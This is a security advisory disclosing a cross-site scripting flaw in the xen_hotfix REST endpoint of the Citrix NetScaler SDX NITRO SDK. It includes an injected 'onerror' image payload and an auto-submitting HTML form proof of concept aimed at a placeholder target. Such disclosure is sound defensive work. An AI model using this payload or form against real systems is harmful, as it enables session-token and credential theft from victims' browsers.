Citrix NITRO SDK xen_hotfix page is vulnerable to Cross-Site Scripting

Abstract

A Cross-Site Scripting vulnerability was found in the xen_hotfix page of the Citrix NITRO SDK. This issue allows attackers to perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Tested version

This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9;, other versions may also be affected.

Fix

Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.

Introduction

The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full-blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross-Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.

Details

The Cross-Site Scripting vulnerability exists because the REST interface returns an incorrect Content-Type HTTP response header. The interfaces states that the content returned is HTML, while in fact it is JSON. Due to this it is possible to cause browser to render the JSON response as HTML. User input included in the JSON response is JSON encoded, not HTML encoded. Due to this, it is possible to inject arbitrary HTML content in the JSON data that will be rendered and executed by the browser.

This issue is exploitable on the /nitro/v1/config/xen_hotfix page through the file_name parameter. Below is an example HTTP response in which this issue is demonstrated.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Wed, 16 Jul 2014 13:54:53 GMT

{ "errorcode": 16004, "message": "Failed to obtain uuid for hotfix cmd.xsupdate**<img src=a onerror=alert(document.cookie)>**, error string = 'xe patch-upload file-name=\"\/root\/cmd.xsupdate**<img src=a onerror=alert(document.cookie)>**\"\r\nOperation failed. Error: file '\/root\/cmd.xsupdate**<img src=a onerror=alert(document.cookie)>**' does not exist\r\n\u001b]0;root@NetScaler-sdx:~\u0007[root@NetScaler-sdx ~]#'", "severity": "ERROR" }

Proof of concept:

<html>
	<body>
		<form id="form" method="POST" action="https://<target>/nitro/v1/config/xen_hotfix" enctype="text/plain">
			<input type="hidden" name="object" value='{"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a [{"file_name"%3a" cmd.xsupdate<img%20src%3da%20onerror%3dalert(document.cookie)>"}]}' />
			<input type="submit" value="submit">
		</form>
		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>

Tricking a victim into visiting a specially crafted URL allows attackers to run arbitrary client-side scripting code within the victim's browser. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Vragen of feedback?